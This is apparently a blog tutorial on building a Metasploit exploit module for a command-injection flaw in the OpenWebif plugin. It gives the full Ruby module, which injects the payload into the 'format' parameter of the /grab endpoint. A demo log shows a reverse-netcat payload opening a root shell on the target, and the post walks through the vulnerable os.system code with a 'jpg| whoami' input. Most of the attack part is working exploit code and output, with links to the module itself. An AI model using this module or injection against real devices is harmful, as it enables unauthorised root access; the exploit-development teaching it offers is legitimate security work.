How to create a module MSF for RCE on web

We should know what is a RCE (Remote Code Execution), this vulnerability is critical (CVSS >=9) in almost all cases. The vulnerability allows to execute commands over a target, also it is more critical if the user with whom you are executing the command is admin.
In general, this kind of vulnerabilities open a wonderful world of opportunities named "post-exploitation" (privilege escalation, pivoting, persistent backdoor, exfiltration data...).

Some time ago I found a RCE vulnerability in e2openplugin-OpenWebif but I didn't disclosure it because the vulnerability has been fixed in the next release πŸ˜…. Although, I think that is a good example for create a small exploit in Metasploit Framework.

I try to explain the basic structure of a RCE exploit for website in Metasploit Framework.

In this section you should include necessary libraries for this exploit and ranking exploit.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking # Ranking 

  include Msf::Exploit::Remote::HttpClient # HTTPClient library

Initialize function

This function allows to add information about the exploit (name, description, author, license...), architecture, payload and others things. It is executed when the exploit has been loaded use <exploit_name> command.

def initialize(info = {})
    super(update_info(info,
      'Name'          => 'OpenWebif Remote Code Execution',
      'Description'   => %q{All versions of OpenWebif before 2 Mar 2014 are vulnerable to blind remote code execution. The vulnerability is locate on grab screenshot option.},
      'Author'        => [ 'Daniel Diez <danihzt[at]gmail.com>' ], #Metasploit, discovery
      'License'       => MSF_LICENSE,
      'References'    =>
        [
          [ 'URL', 'http://openpli.org/wiki/Webif' ],
          [ 'URL', 'https://github.com/E2OpenPlugins/e2openplugin-OpenWebif/commit/fc1c50f47f21baac2825c0e44e6a52be414f6d12']
        ],
      'Platform'     => %w{ linux unix },
      'Arch'         => ARCH_CMD,
      'Privileged'   => true,
      'Payload'      =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'netcat generic'
            }
        },
      'Targets'      =>
        [
          [ 'Automatic Target', { }]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Dec 25 2017'
    ))
  end

Check function (optional)

This function (optional) allows to check if a target is vulnerable before running the exploit. This function is executed when you write check command. You should return Exploit::CheckCode::Vulnerable if the target is vulnerable or Exploit::CheckCode::Safe if the target is safe.

def check
    begin
      res = send_request_cgi( # Send request for check the target })
      if res && res.body
        if /uid=0\(root\) gid=0\(root\)/ =~ res.body
          Exploit::CheckCode::Vulnerable
        else
          Exploit::CheckCode::Safe
        end
      else
        Exploit::CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end

Exploit function

This function throws the exploit over the target. It is executed when you write exploit command. Here's where the magic happensπŸ§™β€β™‚οΈ.

def exploit
    print_status("#{rhost}:#{rport} - Sending remote command.")
    begin
      send_request_cgi(
        {
          # http://{rhost}:{rport}/grab?format=jpg|{payload}&r=0&mode=1
          'uri'    => normalize_uri("grab"),
          'method' => 'GET',
          'vars_get' => {
            "format" => "jpg | #{payload.encoded}",
            "r" => "0",
            "mode" => "1"
          }
        })

    rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
      fail_with(Failure::Unreachable, "#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
    end
end

Demo

msf exploit(linux/http/openwebif_rce_grab.rb) > show options
Module options (exploit/linux/http/openwebif_rce_grab.rb):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST    192.168.1.2    yes       The target address
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.3    yes       The listen address
   LPORT  443              yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

msf exploit(linux/http/openwebif_rce_grab.rb) > exploit
[*] [2017.12.17-12:24:34] Started reverse TCP handler on 192.168.1.2:443 
[*] [2017.12.17-12:24:34] 192.168.1.3:80 - Sending remote command.
[*] Command shell session 1 opened (192.168.1.3:443 -> 192.168.1.2:37909) at 2017-12-17 12:24:36 -0500
id
uid=0(root) gid=0(root)

Technical details

In this case, the vulnerability appears in the line number 65 because the argument grabcommand is loaded directly on function os.system(grabcommand).

Firstly, we can see that in lines 29-30 checking if there is variable format in the request and the value is load in variable self.fileformat. In the next lines 34-38 do a switch python (elif) but there is not a default option (error).

Then in the lines number 62 and 63 the variable self.fileformat is concatenate with self.filepath. Finally the variable grabcommand = GRAB_PATH + graboptions + " " + self.filepath is load over os.system() function.

It is the workflow with a malicious input (jpg| whoami)

Workflow

Request: http://{rhost}:{rport}/grab?format=jpg|whoami&r=0&mode=1

GRAB_PATH = '/usr/bin/grab'
if "format" in request.args.keys():
    self.fileformat = "jpg| whoami"
[..]
# self.filepath = "/tmp/screenshot." + self.fileformat
self.filepath = "/tmp/screenshot." + jpg| whoami
# grabcommand = GRAB_PATH + graboptions + " " + self.filepath
grabcommand = "/usr/bin/grab -r 0 /tmp/screenshot.jpg| whoami"
# os.system(grabcommand)
os.system("/usr/bin/grab -r 0 /tmp/screenshot.jpg| whoami")

For more information about how to write modules for MSF check How to get started with writing an exploit

Remember add your custom modules in $HOME/.msf4/modules/exploits/linux/http

MSF module for e2openplugin-openwebif before 2 Mar 2014
https://gist.github.com/DaniLabs/ee61f89af8a392f527b587def376c619
MSF module OpenDreamBox 2.0.0 Plugin WebAdmin - Remote Code Execution (Jonatas Fil discovery)
https://gist.github.com/DaniLabs/4c07e6e00b8e509e89baeb8181a9ea7f

Happy hacking!πŸ˜ƒ